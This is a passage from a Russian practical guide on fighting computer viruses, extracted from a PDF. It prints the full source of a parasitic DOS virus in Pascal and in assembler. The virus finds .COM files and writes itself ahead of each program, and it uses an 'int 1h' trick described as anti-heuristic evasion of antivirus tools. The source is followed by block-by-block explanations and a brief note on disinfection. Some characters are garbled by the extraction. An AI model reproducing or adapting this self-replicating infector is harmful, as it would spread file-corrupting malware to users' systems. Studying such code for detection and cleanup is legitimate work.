Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
|
21 |
|
||
procedure infect(s1:string;s2:string;append1:boolean;sz:longint); |
||
var |
|
{процедура копирования файлов} |
f,f2:text; |
|
|
j:integer; |
|
|
a:char; |
|
|
begin |
|
|
assign(f,s1); |
{связываем одну файловую переменную с файлом, откуда копируем} |
|
assign(f2,s2); |
{а другую - с файлом, куда копируем} |
|
reset(f); |
|
|
if append1 |
{дописываем или нет?} |
|
then |
append(f2) |
|
else |
rewrite(f2); |
|
for j:=1 to sz do |
|
|
begin |
|
|
read(f,a); |
{Читаем один символ из файла-источника} |
|
write(f2,a); {Пишем один символ в файл-приемник} |
||
end; |
|
|
close(f); |
|
{Закрываем} |
close(f2); |
{оба файла} |
|
end; |
|
|
{---------------------------------------------} |
||
procedure restore; |
{Процедура восстановления оригинальной программы} |
|
var |
|
|
d,d2:file of char; |
|
|
sd:string; |
|
|
ch:char; |
|
|
j1:integer; |
|
|
begin |
|
|
sd:='31337.com'; |
{Из этого файла запустим оригинальную программу} |
|
assign(d,paramstr(0)); |
||
reset(d); |
{Откроем себя на чтение} |
|
assign(d2,sd); |
|
|
seek(d,virlen); |
|
|
rewrite(d2);
for j1:=1 to filesize(d)-virlen do
begin |
|
read(d,ch); |
{И перепишем оригинальную программу, которая находится после} |
write(d2,ch); |
{тела вируса, в файл 31337.com} |
end; |
|
close(d); |
{закроем оба файла} |
close(d2); |
|
swapvectors; |
|
exec(sd,paramstr(1)); |
{запустим оригинальную программу, которая сейчас} |
swapvectors; |
{в файле 31337.com} |
erase(d2); |
{удалим файл 31337.com} |
end; |
|
{--------------------------------------------- |
} |
begin |
|
virlen:=6000; |
{длина вируса} |
find(d,n); |
{найдем все *.com файлы} |
for i:=1 to n do |
|
22 DOS вирусы
begin
if d[i]='' then break; {если таковых нет, то на выход} st:=d[i];
delete(st,length(st)-3,4); st:=st+'.tmp';
assign(f,d[i]);
reset(f);
read(f,exehead);
if (exehead<>'M') and (filesize(f)+virlen<=65535)
then begin |
{если файл уже заражен, то к следующему} |
|
fsize:=filesize(f); |
|
|
close(f); |
|
|
infect(d[i],st,false,fsize); {перепишем оригинальную} |
||
|
|
{программу в *.tmp файл} |
infect(paramstr(0),d[i],false,virlen); {запишем тело вируса} |
||
|
|
{в файл-носитель} |
infect(st,d[i],true,fsize); |
{допишем из *.tmp файла ориг.} |
|
|
|
{программу после тела вируса} |
assign(f,st); |
|
|
erase(f); |
|
{удалим временный файл} |
end; |
|
|
end;
assign(f,paramstr(0));
reset(f);
if filesize(f)>virlen {проверим, если мы стартовали из зараженной программы, то} then restore; {запустим оригинальную программу}
write(chr(13),chr(10),'[SiMpL3 PaRaSiTiC ViRuS] by s10n'); {выведем сообщение}
end. {конец}
{--------------------------------------------- |
} |
Опишем работу этого вируса более подробно.
Данный вирус состоит из трех процедур и главной программы. Рассмотрим процедуры в порядке очередности.
1.Процедура find() (подробно описана в предыдущих главах).
2.Процедуру infect() следует рассмотреть более пристально. Данная процедура в качестве параметров получает:
• имя файла, откуда копируем;
• имя файла, куда копируем;
• логический параметр (append), говорящий о том, дописываем ли мы в файл
или переписываем файл с самого начала;
• количество переписываемых байт.
Необходимость в этих параметрах будет обсуждена несколько позднее.
3. Процедура restore, как уже ясно из названия, запускает программу, на которой паразитирует вирус.
Рассмотрим принцип ее работы:
•эта процедура никаких параметров не получает;
•сначала создается файл с именем «31337.com» и открывается на запись;
DOS вирусы |
23 |
|
|
•затем открывается файл на чтение, из которого мы стартовали, и идет переход на оригинальную программу, которая следует сразу за вирусом (seek(d,virlen));
•после этого программа из зараженного файла копируется в файл «31337.com» (получается, что в этом файле находится незараженная программа);
•в конце она запускается («31337.com») и после завершения работы удаляется;
•в переменную fsize помещается размер заражаемого файла;
•после этого при помощи процедуры infect() найденный файл копируется в *.tmp двойник, а в сам файл копируется вирус, после этого в файл дописывается содержание *.tmp файла;
•затем файл-двойник удаляется.
Теперь рассмотрим, как все эти процедуры работают, связанные вместе главным алгоритмом:
•сначала определяется длина вируса («virlen:=6000;» — из этого видно, что длина вируса 6000 байт)6;
•затем производится поиск всех файлов процедурой find();
•далее идет цикл для работы со всеми файлами;
•если файлов не найдено, то идем на выход;
•работаем с текущим (i-м) файлом, создаем его двойник, как и в случае с ви- русом-компаньоном, но только теперь это двойник *.com файла с расширением *.tmp (но пока файл не создается, а только готовится имя);
•читаем один символ из найденного файла. Если это «M», то либо мы этот *.com файл уже заразили, либо это *.exe, переименованный в *.com, и еще одна проверка по длине, чтобы размер файла был не больше одного сегмента;
•в конце идет проверка: если размер файла, из которого мы запущены, больше размера вируса, то мы стартовали из зараженной программы и запускаем процедуру restore;
•и в конце концов выводим традиционное приветствие и завершаем программу.
Далее будет представлен аналог данного вируса на Ассемблере, но, как и приведенные выше вирусы, он не будет действовать по абсолютно идентичному алгоритму. Алгоритм его работы следующий.
1.Проверим, стартуем ли мы из оригинального вируса или из зараженной программы.
2.Если из зараженной программы, то скопируем программу, находящуюся после вируса, в файл 31337.com и запустим его. После завершения работы удалим его.
6 Очевидно, что в данном случае длина вируса определяется вручную. Для этого программа компилируется со строкой virlen:=0. Затем определяется размер получившегося исполнимого EXE-модуля и программа перекомпилируется с virlen:=длине_получившегося_на_первом_шаге_файла. — Ïðèì. ðåä.
24 |
DOS вирусы |
|
|
3.Найдем *.com файл в текущей директории и считаем его в буфер. Если он не заражен или если его длина + длина вируса < 64000, то считаем его в буфер и в этот файл (носитель) запишем тело вируса + тело программы.
4.Найдем следующий файл и заразим его.
5.Если файлов больше нет, выведем сообщение и уйдем.
Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:
б) после инфицирования:
Вот листинг:
;----------------------------------------------
cseg segment
assume cs:cseg,es:cseg org 100h
start:
infect:
;---------------------------------------------- |
|
mov ax,3d02h |
; Попытаемся открыть файл для восстановления программы |
lea dx,dta+30 |
; Описание этого файла должно находиться в вирусе, если он |
int 21h |
; запущен из инфицированной программы; его не будет, если |
|
; он стартует из файла, где только тело вируса |
jc nrest |
; Если в файле только тело вируса, то не восстанавливаем |
;---------------------------------------------- |
|
next1: |
|
xchg ax,bx |
; Хэндл файла положим в bx |
mov ax,4200h |
; Перейдем на конец тела вируса |
xor cx,cx |
|
mov dx,len |
|
int 21h |
|
mov ah,3fh
mov cx,offset dta+26-len
lea dx,buff |
; Прочитаем в буфер оригинальный файл |
int 21h |
|
mov ah,3eh |
; Закроем файл (т. е. себя) |
int 21h |
|
mov ah,3ch |
; Создадим файл с именем 31337.com |
lea dx,name2 |
|
xor cx,cx |
|
int 21h |
|
DOS вирусы |
25 |
|
|
mov ah,40h |
|
int 1h |
; Антиэвристика: антивирусы теперь нам не страшны |
mov cx,offset dta+26-len |
|
lea dx,buff |
; Запишем из буфера оригинальную программу в этот файл |
int 21h |
; 31337.com |
mov ah,3eh |
; Закроем файл |
int 21h |
|
mov ah,4ah |
; Выделим память |
mov bx,5000h |
; для запуска этого файла |
int 21h |
|
mov ax,4b00h |
; Запустим его (31337.com) |
lea dx,name2 |
; |
int 21h |
|
mov ah,41h |
; После того, как он отработает, |
lea dx,name2 |
; Удалим его |
xor cx,cx |
|
int 21h |
|
;---------------------------------------------- |
|
nrest: |
|
mov ah,1ah |
; Установим DTA |
lea dx,dta |
; |
int 21h |
|
mov ah,4eh |
; Найдем функцией findfirst |
lea dx,mask1 |
; *.com ôàéë |
xor cx,cx |
|
int 21h |
|
fnext: |
|
;---------------------------------------------- |
|
mov ax,3d02h |
; Откроем его на чтение/запись |
lea dx,dta+30 |
; |
int 21h |
|
xchg ax,bx |
; Хэндл положим в bx |
mov ah,3fh |
; Прочитаем первый байт |
lea dx,m1 |
; Из файла |
mov cx,1 |
|
int 21h |
|
cmp m1,08bh |
; Если этот байт равен 8bh, то этот файл заражен. Перейдем |
je fn |
; к следующему |
cmp m1,'M' |
; |
je fn |
; Если это *.exe, переименованный в *.com, |
cmp m1,'Z' |
; то не заражаем |
je fn |
; |
mov ax,4202h |
; Если попали сюда, начинаем заражать |
xor cx,cx |
; Перейдем в конец файла |
cwd |
|
int 21h |
|
26 |
|
|
DOS вирусы |
|
|
|
|
|
push ax |
; В ax сейчас длина файла, положим ее в стек |
|
|
push ax |
; дважды |
|
|
add ax,len |
; Если длина вируса + длина файла <= 64000 байт, то заражаем, |
|
|
cmp ax,64000 |
; если нет, то перейдем к следующему файлу |
|
|
jle fn |
; |
|
|
mov ah,3eh |
; Закроем найденный файл |
|
|
int 21h |
|
|
|
mov ax,3d02h |
; Откроем его же на чтение/запись |
|
|
lea dx,dta+30 |
|
|
|
int 21h |
|
|
|
mov ah,3fh |
; Прочитаем весь файл в буфер |
|
|
lea dx,buff |
|
|
|
pop cx |
|
|
|
int 21h |
|
|
|
mov ax,4200h |
; Перейдем на начало файла |
|
|
xor cx,cx |
|
|
|
cwd |
|
|
|
int 21h |
|
|
;---------------------------------------------- |
|
|
|
|
mov ah,40h |
; Будем записывать |
|
|
int 1h |
; Антиэвристика |
|
|
mov dx,100h |
; Запишем в найденный файл тело вируса + буфер |
|
|
pop cx |
; Получится, что в файле идет сначала вирус, затем |
|
|
add cx,len |
; оригинальная программа |
|
|
int 21h |
; |
|
|
mov ah,3eh |
; Закроем файл |
|
|
int 21h |
|
|
fn: |
mov ah,4fh |
; Найдем новый файл функцией findnext |
|
|
int 21h |
|
|
|
jnc fnext |
; Если есть еще файлы, то заразим их |
|
|
mov ah,09h |
; Что, файлов больше нет? |
|
|
lea dx,msg |
; Тогда представимся |
|
|
int 21h |
; |
|
|
ret |
; И уйдем |
|
|
m1 db ? |
|
|
|
name2 db '31337.com',0 |
|
|
|
mask1 db '*.com',0 |
; Это все данные |
|
|
msg db 0ah,0dh,'[SiMpL3 P4R4SiTiC ViRUS] by sl0n','$' |
||
|
dta db 43 dup(?) |
|
|
len equ $-start buff db 64000 dup(?)
cseg ends end start
;----------------------------------------------
Перейдем к более подробному анализу данного вируса.
DOS вирусы |
27 |
|
|
Вот первый блок:
;---------------------------------------------- |
|
mov ax,3d02h |
; Попытаемся открыть файл для восстановления программы. |
lea dx,dta+30 |
; Описание этого файла должно находиться в вирусе, если он |
int 21h |
; запущен из инфицированной программы; его не будет, если |
|
; он стартует из файла, где только тело вируса |
jc nrest |
; Если в файле только тело вируса, то не восстанавливаем |
;---------------------------------------------- |
|
Из комментариев все ясно, но необходимо заметить, что этот блок проверяет, стартуем ли мы из инфицированной программы или наша программа — это чистый вирус7 (путем открытия файла).
Второй блок:
;---------------------------------------------- |
|
xchg ax,bx |
; Хэндл файла положим в bx |
mov ax,4200h |
; Перейдем на конец тела вируса |
xor cx,cx |
|
mov dx,len |
|
int 21h |
|
mov ah,3fh
mov cx,offset dta+26-len
lea dx,buff |
; Прочитаем в буфер оригинальный файл |
int 21h |
|
mov ah,3eh |
; Закроем файл (т.е. себя) |
int 21h |
|
mov ah,3ch |
; Создадим файл с именем 31337.com |
lea dx,name2 |
|
xor cx,cx |
|
int 21h |
|
mov ah,40h |
|
int 1h |
; Антиэвристика: антивирусы теперь нам не страшны |
mov cx,offset dta+26-len |
|
lea dx,buff |
; Запишем из буфера оригинальную программу в этот файл |
int 21h |
; 31337.com |
mov ah,3eh |
; Закроем файл |
int 21h |
|
mov ah,4ah |
; Выделим 1280 байт памяти |
mov bx,500h |
; Для запуска этого файла |
int 21h |
|
mov ax,4b00h |
; Запустим его (31337.com) |
lea dx,name2 |
; |
int 21h |
|
mov ah,41h |
; После того, как он отработает, |
lea dx,name2 |
; Удалим его |
7 Вирус, который еще не успел начать паразитировать, в отечественной компьютерной вирусологии еще называются «личинкой» с легкой руки одного из вирусмейкеров. — Ïðèì.ðåä.
28 |
DOS вирусы |
|
|
|
xor cx,cx |
|
int 21h |
;---------------------------------------------- |
|
В данном блоке сначала идет переход на конец тела вируса, т. е. туда, где начинается оригинальная программа. Затем оригинальная программа читается в буфер и файл, из которого мы стартовали, закрывается. Затем создается файл с именем «31337.com». Туда же переписывается оригинальная программа. Файл закрывается и после этого запускается, а по завершении работы удаляется.
Будем рассматривать только незнакомые нам моменты. Первый — это переход на конец тела вируса:
;----------------------------------------------
mov ax,4200h ; Перейдем на конец тела вируса xor cx,cx
mov dx,len int 21h
;----------------------------------------------
В контексте программы данные инструкции устанавливают указатель в файле от начала вируса вперед — на его длину.
Второй момент — это удаление файла:
;---------------------------------------------- |
|
mov ah,41h |
; После того, как он отработает, |
lea dx,name2 |
; Удалим его |
xor cx,cx |
|
int 21h |
|
;---------------------------------------------- |
|
Стоить отметить, что в регистр dx помещается имя удаляемого файла в формате asciiz, т. е. строка символов, заканчивающаяся нулевым байтом.
Второй блок:
;---------------------------------------------- |
|
nrest: |
|
mov ah,1ah |
; Установим DTA |
lea dx,dta |
; |
int 21h |
|
mov ah,4eh |
; Найдем функцией findfirst |
lea dx,mask1 |
; *.com ôàéë |
xor cx,cx |
|
int 21h |
|
fnext: |
|
;---------------------------------------------- |
|
mov ax,3d02h |
; Откроем его на чтение/запись |
lea dx,dta+30 |
; |
int 21h |
|
xchg ax,bx |
; Хэндл положим в bx |
mov ah,3fh |
; Прочитаем первый байт |
lea dx,m1 |
; Из файла |
DOS вирусы |
29 |
|
|
mov cx,1 |
|
int 21h |
|
cmp m1,'å' |
; Если этот байт равен 8bh, то этот файл заражен. Перейдем |
je fn |
; к следующему |
cmp m1,'M' |
; |
je fn |
; Если это *.exe, переименованный в *.com, |
cmp m1,'Z' |
; то не заражаем |
je fn |
; |
;---------------------------------------------- |
|
В данном блоке сначала устанавливаем DTA, затем ищем файл по маске, открываем его на чтение/запись и читаем из него первый байт. Это для того, чтобы проверить, пытаемся ли мы заразить уже инфицированный файл или мы не заражали *.exe.
Проверка на *.exe довольно тривиальна: каждый файл данного формата на- чинается c «MZ». Вот мы и проверяем, чтобы первая буква была не «M».
Теперь третий блок:
;---------------------------------------------- |
|
mov ax,4202h |
; Если попали сюда, начинаем заражать |
xor cx,cx |
; Перейдем в конец файла |
cwd |
|
int 21h |
|
push ax |
; В ax сейчас длина файла. Положим ее в стек |
push ax |
; дважды |
add ax,len |
; Если длина вируса + длина файла <= 64000 байт, то заражаем, |
cmp ax,64000 |
; если нет - перейдем к следующему файлу |
jle fn |
; |
mov ah,3eh |
; Закроем найденный файл |
int 21h |
|
mov ax,3d02h |
; Откроем его же на чтение/запись |
lea dx,dta+30 |
|
int 21h |
|
mov ah,3fh |
; Прочитаем весь файл в буфер |
lea dx,buff |
|
pop cx |
|
int 21h |
|
mov ax,4200h |
; Перейдем на начало файла |
xor cx,cx |
|
cwd |
|
int 21h |
|
;---------------------------------------------- |
|
Сначала идет переход на конец файла. Это делается для получения размера файла. В итоге он будет в регистре ax. Два раза длина ложится в стек, затем идет проверка на то, чтобы файл после заражения не стал длиннее одного сегмента (65535 байт). После этого файл закрывается. Затем открываем его на чтение, считываем в буфер и переходим в конец файла.
30 DOS вирусы
Четвертый (последний) блок:
;---------------------------------------------- |
|
|
|
mov ah,40h |
; Будем записывать |
|
int 1h |
; Антиэвристика |
|
mov dx,100h |
; Запишем в найденный файл тело вируса + буфер |
|
pop cx |
; Получится, что в файле идет сначала вирус, затем |
|
add cx,len |
; оригинальная программа |
|
int 21h |
; |
|
mov ah,3eh |
; Закроем файл |
|
int 21h |
|
fn: |
mov ah,4fh |
; Найдем новый файл функцией findnext |
|
int 21h |
|
|
jnc fnext |
; Если есть еще файлы, то заразим их |
|
mov ah,09h |
; Что, файлов больше нет? |
|
lea dx,msg |
; Тогда представимся |
|
int 21h |
; |
|
ret |
; И уйдем |
;---------------------------------------------- |
|
|
В этом блоке в найденный файл переписывается тело вируса + буфер (в который мы прочитали этот файл). Затем файл закрывается, и идет поиск следующего. Если файлов нет, то выводим сообщение и завершаем исполнение программы.
Для лечения данного вируса прежде всего необходимо определить местонахождение заголовка оригинальной программы. После этого всего лишь следует удалить тело вируса, которое расположено до заголовка оригинальной программы. Заголовок можно определить, если проанализировать зараженную программу.
Выше был рассмотрен простейший вариант вирусов-паразитов. Далее будут рассмотрены самые распространенные способы размножения вирусов. Но прежде чем продолжим, мы должны разобраться с необходимыми функциями DOS.
Рассмотрим следующую таблицу:
Установить адрес DTA
âõîä:
ah |
= |
1Ah |
ds:dx |
= |
адрес |
выход:
íåò
Получить адрес DTA
âõîä:
ah |
= 2Fh |
выход:
es:bx = текущий адрес
Create — Создать файл
âõîä:
ah |
= 3Ch |
cx |
= атрибуты файла (таб 1) |
ds:dx |
= путь и имя файла в формате asciz |
